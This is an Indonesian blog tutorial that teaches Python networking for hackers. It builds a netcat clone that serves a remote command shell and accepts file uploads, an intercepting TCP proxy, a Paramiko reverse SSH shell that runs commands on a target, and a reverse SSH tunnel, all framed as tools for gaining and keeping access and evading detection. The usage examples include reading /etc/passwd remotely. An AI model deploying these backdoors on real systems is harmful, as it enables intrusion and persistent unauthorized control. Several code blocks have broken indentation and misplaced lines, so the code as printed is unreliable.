PT. Digital Media Techindo

Perum Pondok Tandala, Jl. Bungur V No. 230
Kawalu, Kota Tasikmalaya
Jawa Barat - Indonesia 46182


Dalam pembelajaran Python untuk Hacker Vol. 2 ini saya akan membahas tentang jaringan. Jaringan merupakan arena yang paling erotis bagi seorang hacker. Seorang penyerang dapat melakukan hampir apa saja dengan akses jaringan yang sederhana. Seperti memindai host, menginjeksi paket, mengendus data, eksploitasi remote host, dan masih banyak lagi. Tapi sebelum itu, sangat dianjurkan biar afdol, simak dulu Python untuk Hacker volume sebelumnya disini.

Jika kamu telah berusaha memasuki kedalaman terdalam dari target, mungkin kamu akan menemukan sedikit teka-teki. Seperti tidak ada tool untuk meluncurkan serangan pada jaringan. Tidak ada netcat, tidak ada wireshark, tidak ada compiler dan tidak ada cara untuk menginstal sebuah tool pun. Namun mungkin kamu akan sedikit terkejut. Ketika kamu menemukan instalasi Python dalam target. Nah, disinilah kamu bisa mulai beraksi meskipun tidak ada tool apapun.

Dalam “Python untuk Hacker” volume 2 ini saya akan membahas beberapa dasar-dasar mengenai jaringan dalam Python menggunakan modul socket. Disini kita akan belajar membangun client, server, dan proxy TCP. Kemudian mengubahnya menjadi netcat buatan sendiri yang dilengkapi dengan command shell.

Volume 2 ini juga merupakan dasar untuk pembelajaran “Python untuk Hacker” volume berikutnya. Dimana kita akan belajar membangun sebuah tool discovery host, menerapkan cross-platform sniffer, dan menciptakan framework remote trojan.

Python Networking dalam Paragraph

Programmer memiliki sejumlah tool pihak ketiga untuk membuat jaringan server & client di Python. Tapi modul inti dari semua tool tersebut adalah modul socket. Modul ini mengekspos semua potongan yang diperlukan untuk menulis cepat TCP dan UDP client-server, menggunakan socket raw, dll.

Untuk tujuan breaking atau mempertahankan akses ke mesin target, modul ini adalah modul yang benar-benar dibutuhkan. Ok, langsung saja kita mulai dengan menciptakaan client-server sederhana.

TCP Client

Sudah tak terhitung berapa kali saya menyiapkan TCP client untuk pentest layanan, spamming, fuzz, dan lain sebagaiannya. Jika kamu mengerjakannya dalam batas-batas lingkungan perusahaan besar, mungkin kamu tidak akan mempunyai tool jaringan atau compiler mewah. Dan kadang-kadang, kamu bahkan kehilangan dasar-dasar mutlak seperti copy-paste atau koneksi internet.

Nah, disiniah kemampuan cepat dengan membuat TCP client akan sangat berguna. Ok, cukup dulu ngebacotnya. Langsung saja, let’s write the code!

import socket

target_host = "www.google.com"
target_port = 80

# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect the client
client.connect((target_host,target_port))

# send some data
client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

# receive some data
response = client.recv(4096)

print response

Yang pertama, kita buat objek socket dengan AF_INET dan parameter SOCK_STREAM. Parameter AF_INET mengatakan kita akan menggunakan alamat IPv4 standar atau hostname. Dan SOCK_STEAM menunjukan bahwa ini akan menjadi TCP client. Kemudian menghubungkan client ke server dan mengirimkan beberapa data. Langkah terakhirnya adalah untuk menerima beberapa data kembali dan print respon. Ini merupakan bentuk sederhana dari TCP client.

Dalam potongan kode diatas, kita membuat beberapa asumsi serius tentang socket. Asumsi pertama adalah bahwa koneksi kita akan selalu berhasil. Dan yang kedua adalah bahwa server selalu berharap kita mengirim data pertama (sebagai lawan server yang mengharapkan untuk mengirim data pertama dan menunggu tanggapan). Asumsi ketiga adalah bahwa server akan selalu mengirimkan data kembali secara tepat waktu.

Kita membuat sebagian besar asumsi ini untuk lebih memudahkan. Sementara programmer memiliki beragam pendapat tentang bagaimana cara memblokir socket, exception-handling di socket, dan sejenisnya. Tapi untuk pentester yaitu membangun basa-basi tersebut ke dalam sebuah tool cepat atau untuk meluncurkan eksploitasi.

UDP Client

Python UDP client tidak jauh berbeda dari TCP client. Kita hanya perlu membuat dua perubahan kecil untuk bisa mengirim paket dalam bentuk UDP.

import socket

target_host = "127.0.0.1"
target_port = 80

# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# send some data
client.sendto("AAABBBCCC",(target_host,target_port))

# receive some data
data, addr = client.recvfrom(4096)

print data

Disini kita ubah jenis socket untuk SOCK_DGRAM saat membuat objek socket. Langkah selanjutnya yaitu untuk panggilan sendto(), melintasi data dan kamu ingin server juga mengirim data. Karena UDP adalah protokol connectionless, tidak ada panggilan connect() terlebih dahulu. Langkah terakhirnya yaitu untuk memanggil recvfrom() agar menerima data UDP kembali. Kamu juga akan melihay bahwa ia mengembalikan kedua data juga rincial remote host dan port.

Dan lagi, disini kita tidak ingin menjadi network programmer yang unggul. Namun disini kita ingin tugas peretasan menjadi cepat, mudah, dan cukup handal. Ok, mari kita lanjut ke membuat server sederhana.

TCP Server

Membuat TCP server di Python mudahnya seperti membuat client. Mari kita mulai dengan membuat TCP server multi-thread standar.

import socket
import threading

bind_ip = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

# this is our client-handling thread
def handle_client(client_socket):
	# print out what the client sends
	request = client_socket.recv(1024)

	print "[*] Received: %s" % request

	# send back a packet
	client_socket.send("ACK!")

	client_socket.close()

while True:

	client,addr = server.accept()

	print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])

	# spin up our client thread to handle incoming data
	client_handler = threading.Thread(target=handle_client,args=(client,))
	client_handler.start()

Untuk memulai, kita pass dalam alamat IP juga port yang kita ingin server untuk listening. Selanjutnya kita memberitahu server untuk memulai listening dengan backlog maksimum konseksi diatur ke 5. Kemudian menempatkan server ke dalam lingkaran utama, dimana ia menunggu koneksi yang masuk. Ketika client terhubung, kita menerima socket client ke dalam variabel client. Dan rincian koneksi remote ke dalam variabel addr. Lalu membuat objek thread baru yang mennjuk ke fungsi handle_client. Dan kita menyebarkan objek socket client sebagai argumen. Selanjutnya memulai thread untuk menangani koneksi client, dan loop server utama siap untuk menangani koneksi lain masuk.  handle_client berfungsi melakukan revc() dan kemudian mengirimkan pesan sederhana kembali ke client.

Jika kamu menggunakan TCP client yang kita buat sebelumnya, kamu dapat mengirim beberapa paket tes ke server. Dan kamu akan melihat output seperti berikut:

[*] Listening on 0.0.0.0:9999
[*] Accepted connection from: 127.0.0.1:62512
[*] Received: ABCDEF

Mengganti Netcat

Netcat merupakan utilitas knife dalam jaringan. Sehingga tidak mengherankan bahwa sistem cerdas administrator mengahapusnya dari sistem mereka. Namun ketika kamu menemukan server yang tidak memiliki Netcat terinstal tapi terinstal Python, nah disitu masih ada jalan.

Jika kasus nya seperti itu, kamu dapat menjatuhkan callback Python untuk memberikan akses sekunder tanpa harus burning trojan atau backdoor. Membuat tool seperti ini juga merupakan bagian dari latihan mengasah skill Python.

import sys
import socket
import getopt
import threading
import subprocess

# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

Di sini, kita hanya mengimpor semua library yang diperlukan dan menetapkan beberapa variabel global.

Sekarang mari kita membuat fungsi utama yang bertanggung jawab untuk menangani argumen baris perintah dan memanggil seluruh fungsi.

def usage():
	print "Error 404 Net Tool"
	print
	print "Usage: error404net.py -t target_host -p port"
	print "-l --listen - listen on [host]:[port] for incoming connections"
	print "-e --execute=file_to_run - execute the given file upon receiving a connection"
	print "-c --command - initialize a command shell"
	print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
	print
	print
	print "Examples: "
	print "error404net.py -t 192.168.0.1 -p 5555 -l -c"
	print "error404net.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
	print "error404net.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
	print "echo 'ABCDEFGHI' | ./error404net.py -t 192.168.11.12 -p 135"
	sys.exit(0)

def main():
	global listen
	global port
	global execute
	global command
	global upload_destination
	global target

	if not len(sys.argv[1:]):
		usage()
		# read the commandline options
		try:
			opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
			["help","listen","execute","target","port","command","upload"])
		except getopt.GetoptError as err:
			print str(err)
			usage()

	for o,a in opts:
		if o in ("-h","--help"):
			usage()
		elif o in ("-l","--listen"):
			listen = True
		elif o in ("-e", "--execute"):
			execute = a
		elif o in ("-c", "--commandshell"):
			command = True
		elif o in ("-u", "--upload"):
			upload_destination = a
		elif o in ("-t", "--target"):
			target = a
		elif o in ("-p", "--port"):
			port = int(a)
		else:
			assert False,"Unhandled Option"

	# are we going to listen or just send data from stdin?
	if not listen and len(target) and port > 0:

		# read in the buffer from the commandline
		# this will block, so send CTRL-D if not sending input
		# to stdin
		buffer = sys.stdin.read()

		# send data off
		client_sender(buffer)
	# we are going to listen and potentially
	# upload things, execute commands, and drop a shell back
	# depending on our command line options above
	if listen:
		server_loop()

main()

Dimulai dengan membaca di semua pilihan baris perintah dan pengaturan variabel yang diperlukan tergantung pada pilihan. Jika salah satu parameter baris perintah tidak sesuai dengan kriteria, maka akan mencetak informasi penggunaan yang bisa digunakan. Di blok berikutnya, kita mencoba meniru netcat untuk membaca data dari stdin dan mengirimkannya melalui jaringan. Sebagaimana yang ditulis, jika kamu berencana untuk mengirim data secara interaktif, kamu perlu Ctrl+D untuk memotong pembacaan stdin. Bagian akhirnya kita mendeteksi bahwa harus menyiapkan listening socket dan proses perintah lebih lanjut. Seperti mengupload file, menjalankan perintah, memulai command shell.

Sekarang mari kita mulai menempatkan beberapa fitur tersebut, dimulai dengan kode client. Tambahkan kode berikut di atas fungsi utama.

def client_sender(buffer):
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		# connect to our target host
		client.connect((target,port))

		if len(buffer):
			client.send(buffer)
		while True:
			# now wait for data back
			recv_len = 1
			response = ""

			while recv_len:
				data = client.recv(4096)
				recv_len = len(data)
				response+= data

				if recv_len < 4096:
					break

			print response,
			# wait for more input
			buffer = raw_input("")
			buffer += "\n"

			# send it off
			client.send(buffer)
	except:
		print "[*] Exception! Exiting."

		# tear down the connection
		client.close()

Kita mulai dengan menyiapkan objek socket TCP dan kemudian mengujinya untuk melihat apakah sudah menerima masukan dari stdin. Jika semuanya mulus, kita kirimkan data off untuk target remote. Dan menerima kembali data sampai tidak ada lagi data untuk diterima. Lalu kita menunggu masukan lebih lanjut dari user dan terus mengirim dan menerima data sampai user kill script. Baris ekstra baru terpasang khusus untuk inputan user, sehingga client akan kompatibel dengan command shell. Sekarang kita akan bergerak juga membuat lingkaran server utama dan fungsi rintisan yang akan menangani kedua perintah eksekusi serta full command shell.

def server_loop():
	global target
	
	# if no target is defined, we listen on all interfaces
	if not len(target):
		target = "0.0.0.0"

	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind((target,port))
	server.listen(5)

	while True:
		client_socket, addr = server.accept()

		# spin off a thread to handle our new client
		client_thread = threading.Thread(target=client_handler,
		args=(client_socket,))
		client_thread.start()

def run_command(command):

	# trim the newline
	command = command.rstrip()

	# run the command and get the output back
	try:
		output = subprocess.check_output(command,stderr=subprocess.
		STDOUT, shell=True)
	except:
		output = "Failed to execute command.\r\n"

	# send the output back to the client
	return output

Fungsi run_command berisi library baru yang belum saya bahas sebelumnya yaitu library subprocess. Subprocess menyediakan antarmuka proses penciptaan kuat yang memberikan sejumlah cara untuk memulai dan berinteraksi dengan program client. Dalam hal ini, kita hanya menjalankan command pass, menjalankannya dalam sistem operasi lokal, dan output kembali dari command back ke client yang terhubung. Kode exception-handling akan menangkap kesalahan generik dan memberikan pesan bahwa perintah gagal.

Sekarang mari kita menerapkan logika untuk melakukan upload file, perintah eksekusi, dan shell.

def client_handler(client_socket):
	global upload
	global execute
	global command

	# check for upload
	 if len(upload_destination):

		# read in all of the bytes and write to our destination
		file_buffer = ""
		
		# keep reading data until none is available
		while True:
			data = client_socket.recv(1024)

			if not data:
				break
			else:
				file_buffer += data

		# now we take these bytes and try to write them out
		try:
			file_descriptor = open(upload_destination,"wb")
			file_descriptor.write(file_buffer)
			file_descriptor.close()

			# acknowledge that we wrote the file out
			client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
		except:
			client_socket.send("Failed to save file to %s\r\n" % upload_destination)

	# check for command execution
	if len(execute):

		# run the command
		output = run_command(execute)

		client_socket.send(output)

	# now we go into another loop if a command shell was requested
	if command:

		while True:
			# show a simple prompt
			client_socket.send("<BHP:#> ")

				# now we receive until we see a linefeed
				(enter key)
			cmd_buffer = ""
			while "\n" not in cmd_buffer:
				cmd_buffer += client_socket.recv(1024)

			# send back the command output
			response = run_command(cmd_buffer)

			# send back the response
			client_socket.send(response)

Potongan kode diatas bertanggung jawab untuk menentukan apakah tool jaringan diatur untuk menerima file ketika menerima sebuah koneksi. Hal ini dapat berguna untuk mengupload dan menjalankan tes atau untuk menginstal malware. Pertama kita menerima data file dalam loop untuk memastikan kita menerima itu semua. Dan kemudian kita cukup membuka file handle dan menulis isi dari file. wb flag memastikan bahwa kita menulis file dengan modus biner diaktifkan. Yang mana menjamin bahwa upload dan menulis biner akan berhasil. Berikutnya kita memproses fungsi execute yang memanggil fungsi run_command dan hanay mengirimkan kembali seluruh hasilnya. Bit terakhir dari kode menangani command shell. Kemudian menjalan perintah seperti yang kita kirim dan mengirimkan kembali output’annya. Kamu akan melihat bahwa itu adalah pemindaian untuk baris baru karakter yang menentukan kapan untuk memproses perintah. Yang mana membuatnya menjadi netcat-friendly.

Membangun TCP Proxy

Saya sudah mengemploy proxy sederhana menggunakan Python dalam sejumlah kasus. Diantaranya untuk membantu memahami protokol yang tidak diketahui, memodifikasi trafik yang dikirim ke aplikasi, dan menciptakan tes uji untuk fuzzers.


import sys
import socket
import threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		server.bind((local_host,local_port))
	except:
		print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
		print "[!!] Check for other listening sockets or correct permissions."
		sys.exit(0)

print "[*] Listening on %s:%d" % (local_host,local_port)

server.listen(5)

	while True:
		client_socket, addr = server.accept()

		# print out the local connection information
		print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])
		# start a thread to talk to the remote host
		proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket,remote_host,remote_port,receive_first))

		proxy_thread.start()
def main():

	# no fancy command-line parsing here
	if len(sys.argv[1:]) != 5:
		print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
		print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
		sys.exit(0)
	# setup local listening parameters
	local_host = sys.argv[1]
	local_port = int(sys.argv[2])

	# setup remote target
	remote_host = sys.argv[3]
	remote_port = int(sys.argv[4])

	# this tells our proxy to connect and receive data
	# before sending to the remote host
	receive_first = sys.argv[5]

	if "True" in receive_first:
		receive_first = True
	else:
		receive_first = False

	# now spin up our listening socket
	server_loop(local_host,local_port,remote_host,remote_port,receive_first)

main()

Kita ambil beberapa argumen di baris perintah. Dan kemudian menjalankan loop server yang mendengarkan koneksi. Ketika permintaan koneksi fresh datang, hal itu akan diserahkan pada proxy_handler yang melakukan semua pengiriman dan penerimaan bit juicy dari kedua sisi data stream.

Sekarang, kita dalami fungsi proxy_handler dengan menambahkan kode berikut di atas fungsi main.

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
	# connect to the remote host
	remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	remote_socket.connect((remote_host,remote_port))
	# receive data from the remote end if necessary
	if receive_first:

		remote_buffer = receive_from(remote_socket)
		hexdump(remote_buffer)
		# send it to our response handler
		remote_buffer = response_handler(remote_buffer)

		# if we have data to send to our local client, send it
		if len(remote_buffer):
			print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
			client_socket.send(remote_buffer)
# now lets loop and read from local,
# send to remote, send to local
# rinse, wash, repeat
while True:

	# read from local host
	local_buffer = receive_from(client_socket)

	if len(local_buffer):
		print "[==>] Received %d bytes from localhost." % len(local_buffer)
		hexdump(local_buffer)
		# send it to our request handler
		local_buffer = request_handler(local_buffer)

		# send off the data to the remote host
		remote_socket.send(local_buffer)
		print "[==>] Sent to remote."
	# receive back the response
	remote_buffer = receive_from(remote_socket)
	if len(remote_buffer):
		print "[<==] Received %d bytes from remote." % len(remote_buffer)
		hexdump(remote_buffer)
		# send to our response handler
		remote_buffer = response_handler(remote_buffer)
		# send the response to the local socket
		client_socket.send(remote_buffer)
		print "[<==] Sent to localhost."

	# if no more data on either side, close the connections
	if not len(local_buffer) or not len(remote_buffer):
		client_socket.close()
		remote_socket.close()
		print "[*] No more data. Closing connections."

		break

Fungsi tersebut sebagian besar berisi logika dari proxy. Untuk memulai kia pastikan untuk tidak harus terlebih dahulu melakukan koneksi ke sisi remote dan permintaan data sebelum masuk ke lingkaran utama. Beberapa daemon server mengharapkan kamu untuk melakukan hal ini pertama kali (FTP server biasanya mengirimkan banner pertama, misalnya).

Kemudian kita gunakan fungsi receive_from, yang digunakan untuk komunikasi kedua sisi. Hal itu hanya mengambil sebuah objek dalam socket yang terkoneksi dan melakukan penerimaan. Kemudai kita buang isi paket sehingga kita dapat memeriksa sesuatu yang menari. Selanjutnya kita serahkan output ke fungsi response_handler.

Di dalam fungsi ini, kamu dapat memodifikasi isi paket, melakukan fuzzing, tes untuk masalah otentikasi, atau apapun yang diinginkan. Ada fungsi pengujian request_handler yang melakukan hal sama untuk memodifikasi trafik outbound. Lalu langkah terakhirnya adalah untuk mengirim buffer diterima oleh client.

# this is a pretty hex dumping function directly taken from
# the comments here:
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
	result = []
	digits = 4 if isinstance(src, unicode) else 2
	for i in xrange(0, len(src), length):
		s = src[i:i+length]
		hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
		text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
		result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )

	print b'\n'.join(result)

def receive_from(connection):

	buffer = ""
	# We set a 2 second timeout; depending on your
	# target, this may need to be adjusted
	connection.settimeout(2)
		try:
		# keep reading into the buffer until
		# there's no more data
		# or we time out
			while True:
				data = connection.recv(4096)
				if not data:
					break

				buffer += data
		except:
		pass
		return buffer

# modify any requests destined for the remote host
def request_handler(buffer):
	# perform packet modifications
	return buffer
# modify any responses destined for the local host
def response_handler(buffer):
	# perform packet modifications
	return buffer

Kode diatas adalah potongan terakhir untuk menyelesaikan proxy. Pertama kita buat hex dengan membuang fungsi yang hanya akan memiliki output rincian paket dengan nilai-nilai hexadecimal dan karakter ASCII-printable. Hal ini berguna untuk memahami protokol yang tidak diketahui, menemukan akun kredensial di protokol plaintext, dan banyak lagi.

Fungsi receive_from digunakan baik untuk menerima data lokal atau pun remote. Dan kita hanya pass dalam objek socket yang akan digunakan. Secara default, ada batas waktu dua detik yang mungkin akan menjadi agresif jika trafik proxy ke negara-negara lain atau melalui jaringan lossy (meningkatkan batas waktu yang diperlukan).

Sisanya hanya berfungsi untuk menangani penerimaan data sampai mendeteksi lebih banyak data di sisi lain dari koneksi. Dua fungsi terakhir memungkinkan kamu untuk memodifikasi trafik yang diperuntukan bagi kedua sisi proxy. Hal ini dapat berguna, misalnya, jika akun kredensial plaintext sedang dikirim dan kamu ingin mencoba untuk mengangkat hak pada aplikasi dengan melewati admin.

SSH menggunakan Paramiko

Pivoting dengan BHNET cukup berguna, tapi kadang-kadang itu lebih bijaksana digunakan untuk mengenkripsi trafik agar menghindari deteksi. Sebuah cara yang umum melakukannya adalah untuk tunnel trafik menggunakan Secure Shell (SSH). Tapi bagaimana jika target tidak memiliki SSH client?

Dalam Python, kamu bisa menggunakan socket baku dan kripto untuk membuat SSH client atau server. Nah, disini Paramiko menggunakan PyCrypto yang memberikan akses mudah untuk protokol SSH2.

Untuk mempelajari tentang bagaimana library ini, kita akan menggunakan Paramiko untuk membuat koneksi dan menjalankan perintah pada sistem SSH, mengkonfigurasi SSH server dan client untuk menjalankan perintah remote pada mesin Windows.

Pertama, comot dulu Paramiko nya menggunakan pip installer atau bisa kunjungi website officialnya http://www.paramiko.org/.

pip install paramiko

Buat file baru bernama error404_sshcmd.py dan masukkan kode berikut ini:

import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
	client = paramiko.SSHClient()
	#client.load_host_keys('/home/kernel-panic/.ssh/known_hosts')
	client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	client.connect(ip, username=user, password=passwd)
	ssh_session = client.get_transport().open_session()
	if ssh_session.active:
		ssh_session.exec_command(command)
		print ssh_session.recv(1024)
	return

ssh_command('192.168.43.248', 'kernel-panic', 'errorcybernews','id')

Kita membuat fungsi yang disebut ssh_command yang membuat koneksi ke server SSH dan menjalankan perintah tunggal. Perhatikan bahwa Paramiko mendukung otentikasi dengan key bukan otentikasi password. Menggunakan otentikasi key SSH sangat disarankan dalam keterlibatan yang nyata, tetapi untuk kemudahan penggunakan dalam contoh ini, kita akan menetapkan dengan usernam dan password otentikasi tradisional.

Karena kita mengendalikan kedua ujung koneksi, kita tetapkan kebijakan untuk menerima key SSH untuk server menghubungkan dan membuat koneksi. Dengan asumsi koneksi yang dibuat, kita jalankan perintah yang mem-pass sepanjang dalam panggilan ke fungsi ssh_command dalam contoh perintah id.

Dengan dasar-dasar yang dilakukan, mari kita memodifikasi script untuk mendukung perintah dapat berjalan dalam client Windows melalui SSH. Tentu saja, biasanya ketika menggunakan SSH, kamu menggunakan client SSH untuk koneksi ke server SSH, tapi karena Windows tidak termasuk server SSH out-of-the-box, kita perlu membalikan ini dan mengirim perintah dari server SSH untuk client.

Buat file baru bernama error404_sshRcmd.py dan masukkan kode berikut ini:

import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
	client = paramiko.SSHClient()
	#client.load_host_keys('/home/justin/.ssh/known_hosts')
	client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	client.connect(ip, username=user, password=passwd)
	ssh_session = client.get_transport().open_session()
	if ssh_session.active:
		ssh_session.send(command)
		print ssh_session.recv(1024)#read banner
		while True:
			command = ssh_session.recv(1024) #get the command from the SSH server
			try:
				cmd_output = subprocess.check_output(command, shell=True)
				ssh_session.send(cmd_output)
			except Exception,e:
			ssh_session.send(str(e))
		client.close()
	return
ssh_command('192.168.43.248', 'kernel-panic', 'errorcybernews','ClientConnected')

Beberapa baris pertama seperti program terakhir dan hal-hal baru dimulai pada saat True: loop. Perhatikan juga bahwa perintah pertama yang dikirim ClientConnected. Kamu akan melihat mengapa kita membuat ujung lain dari koneksi SSH.

Sekarang kita buat file baru bernama error404_sshserver.py dan masukkan kode berikut ini:

import socket
import paramiko
import threading
import sys
# using the key from the Paramiko demo files
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server (paramiko.ServerInterface):
	def _init_(self):
		self.event = threading.Event()
	def check_channel_request(self, kind, chanid):
		if kind == 'session':
			return paramiko.OPEN_SUCCEEDED
		return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
	def check_auth_password(self, username, password):
		if (username == 'kernel-panic') and (password == 'errorcybernews'):
			return paramiko.AUTH_SUCCESSFUL
		return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	sock.bind((server, ssh_port))
	sock.listen(100)
	print '[+] Listening for connection ...'
	client, addr = sock.accept()
except Exception, e:
	print '[-] Listen failed: ' + str(e)
	sys.exit(1)
print '[+] Got a connection!'
try:
	error404Session = paramiko.Transport(client)
	error404Session.add_server_key(host_key)
	server = Server()
	try:
		error404Session.start_server(server=server)
	except paramiko.SSHException, x:
		print '[-] SSH negotiation failed.'
	chan = error404Session.accept(20)
	print '[+] Authenticated!'
	print chan.recv(1024)
	chan.send('Welcome to error404_ssh')
	while True:
		try:
			command= raw_input("Enter command: ").strip('\n')
			if command != 'exit':
			chan.send(command)
			print chan.recv(1024) + '\n'
		else:
			chan.send('exit')
			print 'exiting'
			error404Session.close()
			raise Exception ('exit')
	except KeyboardInterrupt:
		error404Session.close()
except Exception, e:
	print '[-] Caught exception: ' + str(e)
	try:
		error404Session.close()
	except:
		pass
	sys.exit(1)

Program tersebut menciptakan koneksi antara server dan client SSH. Baik itu sistem Linux, Windows, atau bahkan OS X yang memiliki instalasi Python dan Paramiko.

SSH Tunneling

SSH tunneling terbilang menakjubkan, tetapi dapat membuat bingung untuk memahami dan mengkonfigurasinya. Terutama ketika berhadapan dengan reverse SSH tunnel.

Dalam file demo Paramiko ada file bernama rforward.py. File ini bekerja dengan sempurna, jadi saya tidak akan mengolah ulang file tersebut. Tapi saya akan mengulas beberapa poin pentingnya. Ok, langsung saja skip ke main() dan:

def main():
	options, server, remote = parse_options()
	password = None
	if options.readpass:
		password = getpass.getpass('Enter SSH password: ')
	client = paramiko.SSHClient()
	client.load_system_host_keys()
	client.set_missing_host_key_policy(paramiko.WarningPolicy())
	verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
	try:
		client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password)
	except Exception as e:
		print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
		sys.exit(1)

	verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))
	try:
		reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
	except KeyboardInterrupt:
		print('C-c: Port forwarding stopped.')
		sys.exit(0)

Beberapa baris di bagian atas double-check memastikan semua argumen yang diperlukan untuk pass ke script sebelum menyiapkan koneksi Paramiko SSH client. Bagian akhir main() memanggil fungsi reverse_forward_tunnel.

Mari kita coba lihat fungsi ini:

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
	transport.request_port_forward('', server_port)
	while True:
		chan = transport.accept(1000)
		if chan is None:
			continue
		thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
		thr.setDaemon(True)
		thr.start()

Dalam Paramiko, ada dua metode komunikasi utama. Pertama, transportasi, yang bertanggung jawab untuk membuat dan maintain koneksi terenkripsi. Dan kedua, channel, yang yang bertindak seperti sock untuk mengirim dan menerima data melalui sesi transportasi terenkripsi.

Di sini kita mulai menggunakan request_port_forward Paramiko untuk meneruskan koneksi TCP dari sebuah port pada SSH server dan memulai channel transportasi baru. Kemudian, di atas channel, kita memanggil fungsi handler.

Tapi kita masih belum selesai gaes:

def handler(chan, host, port):
	sock = socket.socket()
	try:
		sock.connect((host, port))
	except Exception as e:
		verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
		return

	verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, chan.getpeername(), (host, port)))
	while True:
		r, w, x = select.select([sock, chan], [], [])
		if sock in r:
			data = sock.recv(1024)
			if len(data) == 0:
				break
			chan.send(data)
		if chan in r:
			data = chan.recv(1024)
			if len(data) == 0:
				break
		sock.send(data)
	chan.close()
	sock.close()
	verbose('Tunnel closed from %r' % (chan.origin_addr,))

And finally, data dikirim dan diterima.

SSH dan SSH tunneling sangat penting untuk dipahami ketika menggunakannya. Ketahui juga kapan penggunaannya dan bagaimana keterampilan SSH dan SSH tunnel ini menjadi penting bagi pentester maupun hacker. Dan disini Paramiko mengambil peran untuk menambah kemampuan tool SSH menggunakan Python yang apa adanya.

Kita sudah membuat beberapa tool sederhana namun sangat berguna dalam Python untuk Hacker Vol. 2 ini. Saya juga disini sangat menyarankan kamu untuk memperluas dan memodifikasi sesuai kebutuhan.

Tujuan utama pastinya untuk mengembangkan wawasan yang kuat tentang penggunaan Python networking untuk menciptakan tool yang dapat digunakan selamat penetration testing, post-exploitation, atau saat bug-hunting.

Ok, sampai disini dulu, di materi yang akan datang saya akan mengulas tentang penggunaan raw socket dan sniffing jaringan. Sampai jumpa di volume berikutnya!

– Salam Hangat, Kernel Panic


Muhammad Zaky Zulfiqor

Just a simple person who like photography, videography, code, and cyber security enthusiast.